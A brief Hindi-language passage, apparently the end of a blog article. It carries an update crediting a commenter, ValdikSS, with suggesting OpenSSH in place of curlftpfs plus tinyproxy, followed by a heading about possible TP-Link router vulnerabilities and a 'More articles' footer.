UPD: जैसा कि ValdikSS ने टिप्पणी में लिखा है , curlftpfs + tinyproxy के बजाय, आप OpenSSH का उपयोग कर सकते हैं, जो अधिक कार्यात्मक है।

टीपी-लिंक राउटर में क्या कमजोरियां हो सकती हैं

More articles: